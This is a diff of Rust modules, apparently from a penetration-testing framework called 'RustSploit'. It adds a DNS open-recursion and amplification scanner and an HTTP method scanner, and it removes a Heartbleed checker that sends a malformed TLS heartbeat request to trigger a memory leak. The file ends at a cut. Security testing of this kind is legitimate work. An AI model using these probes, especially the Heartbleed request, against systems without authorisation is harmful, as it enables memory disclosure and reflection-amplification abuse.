@@ -0,0 +1,638 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use rand::Rng;
|
||||
use std::collections::HashSet;
|
||||
use std::fs::File;
|
||||
use std::io::{self, BufRead, BufReader, Write};
|
||||
use std::net::{IpAddr, SocketAddr, ToSocketAddrs};
|
||||
use std::path::Path;
|
||||
use std::time::Duration;
|
||||
use trust_dns_client::client::{AsyncClient, ClientHandle};
|
||||
use trust_dns_client::proto::op::ResponseCode;
|
||||
use trust_dns_client::rr::{DNSClass, Name, RecordType};
|
||||
use trust_dns_client::udp::UdpClientStream;
|
||||
use trust_dns_proto::op::Message;
|
||||
use trust_dns_proto::xfer::DnsResponse;
|
||||
use tokio::net::UdpSocket;
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
struct TargetSpec {
|
||||
input: String,
|
||||
host: String,
|
||||
port: Option<u16>,
|
||||
}
|
||||
|
||||
/// Scan DNS resolvers for open recursion with improved input validation.
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
println!("\n=== DNS Recursion & Amplification Scanner ===");
|
||||
|
||||
let mut targets = collect_targets(initial_target)?;
|
||||
if targets.is_empty() {
|
||||
return Err(anyhow!(
|
||||
"No valid targets provided. Supply at least one IP/hostname."
|
||||
));
|
||||
}
|
||||
|
||||
let needs_default_port = targets.iter().any(|t| t.port.is_none());
|
||||
let default_port = if needs_default_port {
|
||||
prompt_port("Default DNS port for targets without port", 53)?
|
||||
} else {
|
||||
53
|
||||
};
|
||||
|
||||
let default_domain = random_test_domain();
|
||||
let query_name_input = prompt_default("Domain to query", &default_domain)?;
|
||||
let query_name = validate_domain_input(&query_name_input)?;
|
||||
|
||||
let record_input =
|
||||
prompt_default("Record type (A, AAAA, ANY, DNSKEY, TXT, MX)", "ANY")?;
|
||||
let record_type = parse_record_type(&record_input)?;
|
||||
|
||||
println!(
|
||||
"[*] Prepared {} query for {} across {} target(s)",
|
||||
record_type,
|
||||
query_name,
|
||||
targets.len()
|
||||
);
|
||||
|
||||
let name = Name::from_str_relaxed(&query_name)
|
||||
.with_context(|| format!("Invalid domain name '{}'", query_name))?;
|
||||
|
||||
let mut any_success = false;
|
||||
let mut last_error: Option<anyhow::Error> = None;
|
||||
|
||||
for spec in targets.drain(..) {
|
||||
let port = spec.port.unwrap_or(default_port);
|
||||
let display = format_endpoint(&spec.host, port);
|
||||
println!(
|
||||
"\n[*] Processing target {} (input: {})",
|
||||
display.cyan(),
|
||||
spec.input
|
||||
);
|
||||
|
||||
match resolve_target(&spec.host, port).await {
|
||||
Ok((socket_addr, resolved_display)) => {
|
||||
println!("[*] Target resolver: {}", resolved_display);
|
||||
match query_target(socket_addr, &resolved_display, &name, record_type).await {
|
||||
Ok(()) => any_success = true,
|
||||
Err(err) => {
|
||||
eprintln!(
|
||||
"{}",
|
||||
format!("[!] Query failed for {}: {}", resolved_display, err).red()
|
||||
);
|
||||
last_error = Some(err);
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(err) => {
|
||||
eprintln!(
|
||||
"{}",
|
||||
format!("[!] Failed to resolve {}: {}", spec.input, err).red()
|
||||
);
|
||||
last_error = Some(err);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if any_success {
|
||||
Ok(())
|
||||
} else {
|
||||
Err(last_error.unwrap_or_else(|| anyhow!("All targets failed.")))
|
||||
}
|
||||
}
|
||||
|
||||
async fn query_target(
|
||||
socket_addr: SocketAddr,
|
||||
display_target: &str,
|
||||
name: &Name,
|
||||
record_type: RecordType,
|
||||
) -> Result<()> {
|
||||
println!(
|
||||
"[*] Sending {} query (timeout 5s) to {}",
|
||||
record_type, display_target
|
||||
);
|
||||
|
||||
let timeout = Duration::from_secs(5);
|
||||
let stream = UdpClientStream::<UdpSocket>::with_timeout(socket_addr, timeout);
|
||||
let (mut client, bg) =
|
||||
AsyncClient::connect(stream).await.context("Failed to initiate DNS client")?;
|
||||
tokio::spawn(bg);
|
||||
|
||||
let response: DnsResponse = client
|
||||
.query(name.clone(), DNSClass::IN, record_type)
|
||||
.await
|
||||
.with_context(|| format!("DNS query to {} failed", display_target))?;
|
||||
|
||||
let (message, _) = response.into_parts();
|
||||
report_result(&message, name, record_type);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn report_result(message: &Message, name: &Name, record_type: RecordType) {
|
||||
let recursion_available = message.recursion_available();
|
||||
let recursion_desired = message.recursion_desired();
|
||||
let authoritative = message.authoritative();
|
||||
let truncated = message.truncated();
|
||||
let rcode = message.response_code();
|
||||
|
||||
println!();
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Response code: {:?} | Answers: {} | Authority: {} | Additional: {}",
|
||||
rcode,
|
||||
message.answers().len(),
|
||||
message.name_servers().len(),
|
||||
message.additionals().len()
|
||||
)
|
||||
);
|
||||
|
||||
if truncated {
|
||||
println!("[!] Response was truncated (TC flag set).");
|
||||
}
|
||||
|
||||
println!(
|
||||
"[*] Flags: RD={} RA={} AA={}",
|
||||
recursion_desired, recursion_available, authoritative
|
||||
);
|
||||
|
||||
if recursion_available && rcode != ResponseCode::Refused {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[+] {} appears to allow recursion (RA flag set) for {} {} queries.",
|
||||
name,
|
||||
record_type,
|
||||
if authoritative { "(authoritative data returned)" } else { "" }
|
||||
)
|
||||
.green()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
" This resolver may be abused for reflection/amplification attacks (ANY/DNSSEC)."
|
||||
.yellow()
|
||||
);
|
||||
} else if recursion_available && rcode == ResponseCode::Refused {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[-] {} reports recursion available but refused the request (likely ACL protected).",
|
||||
name
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[-] {} does not appear to allow recursion (RA flag unset or query refused).",
|
||||
name
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_record_type(input: &str) -> Result<RecordType> {
|
||||
match input.trim().to_uppercase().as_str() {
|
||||
"A" => Ok(RecordType::A),
|
||||
"AAAA" => Ok(RecordType::AAAA),
|
||||
"ANY" => Ok(RecordType::ANY),
|
||||
"DNSKEY" => Ok(RecordType::DNSKEY),
|
||||
"TXT" => Ok(RecordType::TXT),
|
||||
"MX" => Ok(RecordType::MX),
|
||||
other => Err(anyhow!("Unsupported record type '{}'", other)),
|
||||
}
|
||||
}
|
||||
|
||||
async fn resolve_target(host: &str, port: u16) -> Result<(SocketAddr, String)> {
|
||||
if let Ok(ip) = host.parse::<IpAddr>() {
|
||||
let addr = SocketAddr::new(ip, port);
|
||||
return Ok((addr, format_endpoint(host, port)));
|
||||
}
|
||||
|
||||
let mut addrs_iter = (host, port)
|
||||
.to_socket_addrs()
|
||||
.with_context(|| format!("Unable to resolve '{}:{}'", host, port))?;
|
||||
let addr = addrs_iter
|
||||
.next()
|
||||
.ok_or_else(|| anyhow!("No socket addresses resolved for '{}:{}'", host, port))?;
|
||||
Ok((addr, addr.to_string()))
|
||||
}
|
||||
|
||||
fn random_test_domain() -> String {
|
||||
let mut rng = rand::rng();
|
||||
let random_label: String = (0..12)
|
||||
.map(|_| {
|
||||
let n = rng.random_range(0..36);
|
||||
if n < 10 {
|
||||
(b'0' + n) as char
|
||||
} else {
|
||||
(b'a' + (n - 10)) as char
|
||||
}
|
||||
})
|
||||
.collect();
|
||||
format!("{}.rustsploit.test", random_label)
|
||||
}
|
||||
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
io::stdout().flush()?;
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf)?;
|
||||
let trimmed = buf.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else if trimmed.len() > 255 {
|
||||
Err(anyhow!("Input too long"))
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_port(message: &str, default: u16) -> Result<u16> {
|
||||
loop {
|
||||
let prompt = format!("{} [{}]: ", message, default);
|
||||
print!("{}", prompt);
|
||||
io::stdout().flush()?;
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf)?;
|
||||
let trimmed = buf.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Ok(default);
|
||||
}
|
||||
if let Ok(value) = trimmed.parse::<u16>() {
|
||||
if value > 0 {
|
||||
return Ok(value);
|
||||
}
|
||||
}
|
||||
println!("Please provide a valid port between 1 and 65535.");
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_line(message: &str) -> Result<String> {
|
||||
print!("{}", message);
|
||||
io::stdout().flush()?;
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf)?;
|
||||
let trimmed = buf.trim();
|
||||
if trimmed.len() > 255 {
|
||||
return Err(anyhow!("Input too long (max 255 characters)."));
|
||||
}
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
|
||||
let hint = if default_yes { "Y/n" } else { "y/N" };
|
||||
loop {
|
||||
let prompt = format!("{} [{}]: ", message, hint);
|
||||
print!("{}", prompt);
|
||||
io::stdout().flush()?;
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf)?;
|
||||
let trimmed = buf.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => return Ok(default_yes),
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
"stop" => return Ok(false),
|
||||
_ => println!("{}", "Please answer with 'y' or 'n'.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn collect_targets(initial: &str) -> Result<Vec<TargetSpec>> {
|
||||
let mut targets = Vec::new();
|
||||
let mut seen: HashSet<String> = HashSet::new();
|
||||
|
||||
let trimmed_initial = initial.trim();
|
||||
if !trimmed_initial.is_empty() {
|
||||
let added = parse_targets_from_str(trimmed_initial, "cli", &mut seen, &mut targets);
|
||||
if added == 0 && Path::new(trimmed_initial).is_file() {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[*] Loading targets from file '{}'", trimmed_initial).cyan()
|
||||
);
|
||||
match parse_targets_from_file(trimmed_initial, &mut seen, &mut targets) {
|
||||
Ok(count) => {
|
||||
if count == 0 {
|
||||
println!("{}", " No valid targets found in file.".yellow());
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
" Loaded {} target(s) from '{}'",
|
||||
count, trimmed_initial
|
||||
)
|
||||
.green()
|
||||
);
|
||||
}
|
||||
}
|
||||
Err(err) => {
|
||||
eprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
" Failed to read '{}': {}",
|
||||
trimmed_initial, err
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if prompt_yes_no(
|
||||
"Add additional targets manually? (type 'stop' to finish)",
|
||||
targets.is_empty(),
|
||||
)? {
|
||||
loop {
|
||||
let entry = prompt_line("Target (IP/host[:port], 'stop' to finish): ")?;
|
||||
if entry.is_empty() {
|
||||
continue;
|
||||
}
|
||||
if entry.eq_ignore_ascii_case("stop") {
|
||||
break;
|
||||
}
|
||||
add_target_token(&entry, "interactive", &mut seen, &mut targets);
|
||||
}
|
||||
}
|
||||
|
||||
if prompt_yes_no("Load targets from file?", false)? {
|
||||
loop {
|
||||
let path_input = prompt_line("Path to file ('stop' to finish): ")?;
|
||||
if path_input.is_empty() {
|
||||
continue;
|
||||
}
|
||||
if path_input.eq_ignore_ascii_case("stop") {
|
||||
break;
|
||||
}
|
||||
match parse_targets_from_file(&path_input, &mut seen, &mut targets) {
|
||||
Ok(count) => {
|
||||
if count == 0 {
|
||||
println!(
|
||||
"{}",
|
||||
format!(" No valid targets parsed from '{}'", path_input).yellow()
|
||||
);
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
" Loaded {} target(s) from '{}'",
|
||||
count, path_input
|
||||
)
|
||||
.green()
|
||||
);
|
||||
}
|
||||
}
|
||||
Err(err) => eprintln!(
|
||||
"{}",
|
||||
format!(" Failed to read '{}': {}", path_input, err).red()
|
||||
),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(targets)
|
||||
}
|
||||
|
||||
fn parse_targets_from_str(
|
||||
input: &str,
|
||||
context: &str,
|
||||
seen: &mut HashSet<String>,
|
||||
targets: &mut Vec<TargetSpec>,
|
||||
) -> usize {
|
||||
let mut added = 0usize;
|
||||
for token in input
|
||||
.split(|c: char| c == ',' || c.is_ascii_whitespace())
|
||||
.filter_map(|segment| {
|
||||
let trimmed = segment.trim();
|
||||
if trimmed.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(trimmed)
|
||||
}
|
||||
})
|
||||
{
|
||||
if add_target_token(token, context, seen, targets) {
|
||||
added += 1;
|
||||
}
|
||||
}
|
||||
added
|
||||
}
|
||||
|
||||
fn parse_targets_from_file(
|
||||
path: &str,
|
||||
seen: &mut HashSet<String>,
|
||||
targets: &mut Vec<TargetSpec>,
|
||||
) -> Result<usize> {
|
||||
let file = File::open(path)
|
||||
.with_context(|| format!("Failed to open target file '{}'", path))?;
|
||||
let reader = BufReader::new(file);
|
||||
let mut added = 0usize;
|
||||
|
||||
for (idx, line) in reader.lines().enumerate() {
|
||||
let line = line?;
|
||||
let content = line.split('#').next().unwrap_or("").trim();
|
||||
if content.is_empty() {
|
||||
continue;
|
||||
}
|
||||
let ctx = format!("file:{}:{}", path, idx + 1);
|
||||
added += parse_targets_from_str(content, &ctx, seen, targets);
|
||||
}
|
||||
|
||||
Ok(added)
|
||||
}
|
||||
|
||||
fn add_target_token(
|
||||
token: &str,
|
||||
context: &str,
|
||||
seen: &mut HashSet<String>,
|
||||
targets: &mut Vec<TargetSpec>,
|
||||
) -> bool {
|
||||
if token.eq_ignore_ascii_case("stop") {
|
||||
return false;
|
||||
}
|
||||
|
||||
match parse_target_spec(token) {
|
||||
Ok(spec) => {
|
||||
let key = format!("{}:{}", spec.host, spec.port.unwrap_or(0));
|
||||
if seen.insert(key) {
|
||||
println!(
|
||||
"{}",
|
||||
format!(" [{}] Added target {}", context, spec.input).cyan()
|
||||
);
|
||||
targets.push(spec);
|
||||
true
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!(" [{}] Duplicate target '{}' skipped", context, token).dimmed()
|
||||
);
|
||||
false
|
||||
}
|
||||
}
|
||||
Err(err) => {
|
||||
eprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
" [{}] Skipping invalid target '{}': {}",
|
||||
context, token, err
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
false
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_target_spec(token: &str) -> Result<TargetSpec> {
|
||||
let sanitized = sanitize_target_input(token)?;
|
||||
let (host, port) = split_host_port(&sanitized)?;
|
||||
Ok(TargetSpec {
|
||||
input: sanitized.clone(),
|
||||
host: host.to_lowercase(),
|
||||
port,
|
||||
})
|
||||
}
|
||||
|
||||
fn sanitize_target_input(input: &str) -> Result<String> {
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Target cannot be empty"));
|
||||
}
|
||||
if trimmed.len() > 255 {
|
||||
return Err(anyhow!(
|
||||
"Target '{}' is too long (maximum 255 characters)",
|
||||
trimmed
|
||||
));
|
||||
}
|
||||
if !trimmed
|
||||
.chars()
|
||||
.all(|c| c.is_ascii_alphanumeric() || ".-_:[]".contains(c))
|
||||
{
|
||||
return Err(anyhow!(
|
||||
"Target '{}' contains invalid characters. Allowed: A-Z, 0-9, '.', '-', '_', ':', '[', ']'",
|
||||
trimmed
|
||||
));
|
||||
}
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
|
||||
fn split_host_port(value: &str) -> Result<(String, Option<u16>)> {
|
||||
if value.is_empty() {
|
||||
return Err(anyhow!("Target cannot be empty"));
|
||||
}
|
||||
|
||||
if let Ok(addr) = value.parse::<SocketAddr>() {
|
||||
return Ok((addr.ip().to_string(), Some(addr.port())));
|
||||
}
|
||||
|
||||
if value.starts_with('[') {
|
||||
let end = value
|
||||
.find(']')
|
||||
.ok_or_else(|| anyhow!("Malformed IPv6 target '{}': missing ']'", value))?;
|
||||
let host = value[1..end].to_string();
|
||||
if value.len() == end + 1 {
|
||||
return Ok((host, None));
|
||||
}
|
||||
if !value[end + 1..].starts_with(':') {
|
||||
return Err(anyhow!(
|
||||
"Malformed IPv6 target '{}': expected ':' after ']'",
|
||||
value
|
||||
));
|
||||
}
|
||||
let port_part = &value[end + 2..];
|
||||
if port_part.is_empty() {
|
||||
return Err(anyhow!("Missing port after IPv6 address in '{}'", value));
|
||||
}
|
||||
let port = port_part
|
||||
.parse::<u16>()
|
||||
.with_context(|| format!("Invalid port '{}' in target '{}'", port_part, value))?;
|
||||
if port == 0 {
|
||||
return Err(anyhow!("Port must be between 1 and 65535"));
|
||||
}
|
||||
return Ok((host, Some(port)));
|
||||
}
|
||||
|
||||
if value.ends_with(':') {
|
||||
return Err(anyhow!(
|
||||
"Invalid target '{}': trailing ':' without port",
|
||||
value
|
||||
));
|
||||
}
|
||||
|
||||
let colon_count = value.matches(':').count();
|
||||
if colon_count == 1 {
|
||||
let idx = value.rfind(':').unwrap();
|
||||
let host_part = &value[..idx];
|
||||
let port_part = &value[idx + 1..];
|
||||
if host_part.is_empty() {
|
||||
return Err(anyhow!("Host cannot be empty in target '{}'", value));
|
||||
}
|
||||
if !port_part.chars().all(|c| c.is_ascii_digit()) {
|
||||
return Err(anyhow!(
|
||||
"Invalid port '{}' in target '{}'",
|
||||
port_part,
|
||||
value
|
||||
));
|
||||
}
|
||||
let port = port_part
|
||||
.parse::<u16>()
|
||||
.with_context(|| format!("Invalid port '{}' in target '{}'", port_part, value))?;
|
||||
if port == 0 {
|
||||
return Err(anyhow!("Port must be between 1 and 65535"));
|
||||
}
|
||||
return Ok((host_part.to_string(), Some(port)));
|
||||
}
|
||||
|
||||
if colon_count >= 2 {
|
||||
let ip = value.parse::<IpAddr>().with_context(|| {
|
||||
format!(
|
||||
"Invalid IPv6 address '{}' (use [addr]:port for scoped ports)",
|
||||
value
|
||||
)
|
||||
})?;
|
||||
return Ok((ip.to_string(), None));
|
||||
}
|
||||
|
||||
Ok((value.to_string(), None))
|
||||
}
|
||||
|
||||
fn format_endpoint(host: &str, port: u16) -> String {
|
||||
match host.parse::<IpAddr>() {
|
||||
Ok(IpAddr::V6(_)) => format!("[{}]:{}", host, port),
|
||||
_ => format!("{}:{}", host, port),
|
||||
}
|
||||
}
|
||||
|
||||
fn validate_domain_input(input: &str) -> Result<String> {
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Domain cannot be empty"));
|
||||
}
|
||||
if trimmed.len() > 253 {
|
||||
return Err(anyhow!(
|
||||
"Domain '{}' is too long (maximum 253 characters)",
|
||||
trimmed
|
||||
));
|
||||
}
|
||||
let without_dot = trimmed.trim_end_matches('.');
|
||||
if without_dot.is_empty() {
|
||||
return Err(anyhow!("Domain cannot be empty"));
|
||||
}
|
||||
if without_dot
|
||||
.chars()
|
||||
.any(|c| !(c.is_ascii_alphanumeric() || c == '.' || c == '-' || c == '_'))
|
||||
{
|
||||
return Err(anyhow!(
|
||||
"Domain '{}' contains invalid characters. Allowed: A-Z, 0-9, '-', '_', '.'",
|
||||
trimmed
|
||||
));
|
||||
}
|
||||
Ok(without_dot.to_lowercase())
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -1,121 +0,0 @@
|
||||
use anyhow::{Context, Result};
|
||||
use std::io::{self, Write};
|
||||
use std::net::ToSocketAddrs;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
run_interactive(target).await
|
||||
}
|
||||
|
||||
pub async fn run_interactive(target: &str) -> Result<()> {
|
||||
let port = prompt_port().unwrap_or(443);
|
||||
run_with_port(target, port).await
|
||||
}
|
||||
|
||||
pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
|
||||
let raw = target.trim();
|
||||
let stripped = raw.trim_start_matches('[').trim_end_matches(']');
|
||||
let host = if stripped.contains(':') {
|
||||
format!("[{}]", stripped)
|
||||
} else {
|
||||
stripped.to_string()
|
||||
};
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
println!("[*] Connecting to {}...", addr);
|
||||
let socket_addr = addr
|
||||
.to_socket_addrs()
|
||||
.context("Invalid target address format")?
|
||||
.next()
|
||||
.context("Could not resolve target address")?;
|
||||
|
||||
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
|
||||
let mut stream = match stream_result {
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => {
|
||||
println!("[-] Connection to {} failed: {}", socket_addr, e);
|
||||
return Ok(());
|
||||
}
|
||||
Err(_) => {
|
||||
println!("[-] Connection to {} timed out", socket_addr);
|
||||
return Ok(());
|
||||
}
|
||||
};
|
||||
|
||||
stream.write_all(&build_client_hello()).await?;
|
||||
let mut response = vec![0u8; 4096];
|
||||
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
|
||||
match read_result {
|
||||
Ok(Ok(n)) if n > 0 => {}
|
||||
_ => {
|
||||
println!("[-] No response to Client Hello");
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
|
||||
stream.write_all(&build_heartbeat_request(0x4000)).await?;
|
||||
let mut leak = vec![0u8; 65535];
|
||||
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
|
||||
match read_result {
|
||||
Ok(Ok(n)) if n > 0 => {
|
||||
println!("[+] Possible heartbleed vulnerability! Received {} bytes.", n);
|
||||
}
|
||||
_ => {
|
||||
println!("[-] Target does not seem vulnerable (no heartbeat response).");
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn build_client_hello() -> Vec<u8> {
|
||||
let version: u16 = 0x0302;
|
||||
let mut random = vec![0u8; 32];
|
||||
random[0..4].copy_from_slice(&0x12345678u32.to_be_bytes());
|
||||
let mut hello = vec![];
|
||||
hello.extend_from_slice(&version.to_be_bytes());
|
||||
hello.extend_from_slice(&random);
|
||||
hello.push(0);
|
||||
hello.extend_from_slice(&0x0002u16.to_be_bytes());
|
||||
hello.extend_from_slice(&0x0033u16.to_be_bytes());
|
||||
hello.extend_from_slice(&0x0039u16.to_be_bytes());
|
||||
hello.push(1);
|
||||
hello.push(0);
|
||||
hello.extend_from_slice(&0x0000u16.to_be_bytes());
|
||||
let mut handshake = vec![0x01];
|
||||
let len = (hello.len() as u32).to_be_bytes();
|
||||
handshake.extend_from_slice(&len[1..]);
|
||||
handshake.extend_from_slice(&hello);
|
||||
build_tls_record(0x16, version, &handshake)
|
||||
}
|
||||
|
||||
fn build_heartbeat_request(length: u16) -> Vec<u8> {
|
||||
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
|
||||
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
|
||||
build_tls_record(0x18, 0x0302, &payload)
|
||||
}
|
||||
|
||||
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
|
||||
let mut record = vec![record_type];
|
||||
record.extend_from_slice(&version.to_be_bytes());
|
||||
record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
|
||||
record.extend_from_slice(payload);
|
||||
record
|
||||
}
|
||||
|
||||
fn prompt_port() -> Option<u16> {
|
||||
print!("Enter port (default 443): ");
|
||||
io::stdout().flush().ok();
|
||||
let mut input = String::new();
|
||||
if io::stdin().read_line(&mut input).is_ok() {
|
||||
let input = input.trim();
|
||||
if input.is_empty() {
|
||||
return None;
|
||||
}
|
||||
if let Ok(p) = input.parse::<u16>() {
|
||||
return Some(p);
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
@@ -0,0 +1,377 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use chrono::Utc;
|
||||
use reqwest::{Client, Method, StatusCode, Url};
|
||||
use std::collections::HashSet;
|
||||
use std::fs;
|
||||
use std::io::{self, Write};
|
||||
use std::time::Duration;
|
||||
|
||||
const METHODS: &[&str] = &[
|
||||
"GET",
|
||||
"POST",
|
||||
"HEAD",
|
||||
"OPTIONS",
|
||||
"PUT",
|
||||
"DELETE",
|
||||
"PATCH",
|
||||
"TRACE",
|
||||
"CONNECT",
|
||||
];
|
||||
|
||||
struct MethodResult {
|
||||
method: &'static str,
|
||||
status: Option<StatusCode>,
|
||||
ok: bool,
|
||||
error: Option<String>,
|
||||
duration_ms: u128,
|
||||
}
|
||||
|
||||
struct TargetResult {
|
||||
target: String,
|
||||
results: Vec<MethodResult>,
|
||||
}
|
||||
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
banner();
|
||||
|
||||
let mut targets = collect_initial_targets(initial_target);
|
||||
|
||||
let additional = prompt("Enter additional comma-separated targets (optional): ")?;
|
||||
if !additional.is_empty() {
|
||||
targets.extend(split_targets(&additional));
|
||||
}
|
||||
|
||||
let file_path = prompt("Path to file with targets (optional): ")?;
|
||||
if !file_path.is_empty() {
|
||||
let file_targets = load_targets_from_file(&file_path)?;
|
||||
targets.extend(file_targets);
|
||||
}
|
||||
|
||||
let default_scheme_input = prompt("Preferred scheme (http/https, default https): ")?;
|
||||
let default_scheme = match default_scheme_input.to_lowercase().as_str() {
|
||||
"http" => "http",
|
||||
_ => "https",
|
||||
};
|
||||
|
||||
let use_ports = prompt_bool(
|
||||
"Test via specific ports (port tunneling)? (yes/no, default no): ",
|
||||
false,
|
||||
)?;
|
||||
let ports = if use_ports {
|
||||
prompt_ports()?
|
||||
} else {
|
||||
Vec::new()
|
||||
};
|
||||
|
||||
let timeout_input = prompt("Request timeout in seconds (default 10): ")?;
|
||||
let timeout_secs: u64 = timeout_input
|
||||
.parse()
|
||||
.ok()
|
||||
.filter(|val| *val > 0)
|
||||
.unwrap_or(10);
|
||||
|
||||
let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?;
|
||||
let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?;
|
||||
|
||||
let mut normalized = normalize_targets(targets, default_scheme);
|
||||
if !ports.is_empty() {
|
||||
let expanded = expand_targets_with_ports(&normalized, &ports);
|
||||
if expanded.is_empty() {
|
||||
println!("[!] No valid port combinations derived; continuing without port tunneling.");
|
||||
} else {
|
||||
normalized = expanded;
|
||||
}
|
||||
}
|
||||
if normalized.is_empty() {
|
||||
return Err(anyhow!("No valid targets provided"));
|
||||
}
|
||||
normalized.sort();
|
||||
|
||||
let client = Client::builder()
|
||||
.user_agent("RustSploit-HTTP-Method-Scanner/1.0")
|
||||
.timeout(Duration::from_secs(timeout_secs))
|
||||
.redirect(reqwest::redirect::Policy::limited(5))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let mut all_results = Vec::new();
|
||||
|
||||
for target in &normalized {
|
||||
println!("\n=== Target: {} ===", target);
|
||||
let mut method_results = Vec::new();
|
||||
|
||||
for &method_name in METHODS {
|
||||
let method = Method::from_bytes(method_name.as_bytes()).unwrap_or(Method::GET);
|
||||
let body = match method_name {
|
||||
"POST" | "PUT" | "PATCH" => Some("RustSploit HTTP method scanner test".to_string()),
|
||||
_ => None,
|
||||
};
|
||||
|
||||
let start = std::time::Instant::now();
|
||||
let response = if let Some(ref payload) = body {
|
||||
client
|
||||
.request(method.clone(), target)
|
||||
.body(payload.clone())
|
||||
.send()
|
||||
.await
|
||||
} else {
|
||||
client.request(method.clone(), target).send().await
|
||||
};
|
||||
let elapsed = start.elapsed();
|
||||
|
||||
match response {
|
||||
Ok(resp) => {
|
||||
let status = resp.status();
|
||||
let ok = status.is_success();
|
||||
if verbose {
|
||||
println!(
|
||||
" [{}] {} -> {} ({:.2?})",
|
||||
method_name,
|
||||
target,
|
||||
status,
|
||||
elapsed
|
||||
);
|
||||
} else {
|
||||
println!(" [{}] {}", method_name, status);
|
||||
}
|
||||
method_results.push(MethodResult {
|
||||
method: method_name,
|
||||
status: Some(status),
|
||||
ok,
|
||||
error: None,
|
||||
duration_ms: elapsed.as_millis(),
|
||||
});
|
||||
}
|
||||
Err(err) => {
|
||||
if verbose {
|
||||
println!(
|
||||
" [{}] {} -> error: {} ({:.2?})",
|
||||
method_name,
|
||||
target,
|
||||
err,
|
||||
elapsed
|
||||
);
|
||||
} else {
|
||||
println!(" [{}] error: {}", method_name, err);
|
||||
}
|
||||
method_results.push(MethodResult {
|
||||
method: method_name,
|
||||
status: None,
|
||||
ok: false,
|
||||
error: Some(err.to_string()),
|
||||
duration_ms: elapsed.as_millis(),
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
all_results.push(TargetResult {
|
||||
target: target.clone(),
|
||||
results: method_results,
|
||||
});
|
||||
}
|
||||
|
||||
if save_output {
|
||||
let default_name = format!(
|
||||
"http_method_scan_{}.txt",
|
||||
Utc::now().format("%Y%m%d_%H%M%S")
|
||||
);
|
||||
let output_path = prompt_with_default(
|
||||
"Enter output file path (press Enter for default): ",
|
||||
&default_name,
|
||||
)?;
|
||||
write_report(&output_path, &all_results)?;
|
||||
println!("[*] Results saved to {}", output_path);
|
||||
}
|
||||
|
||||
println!("\n[*] Scan complete.");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
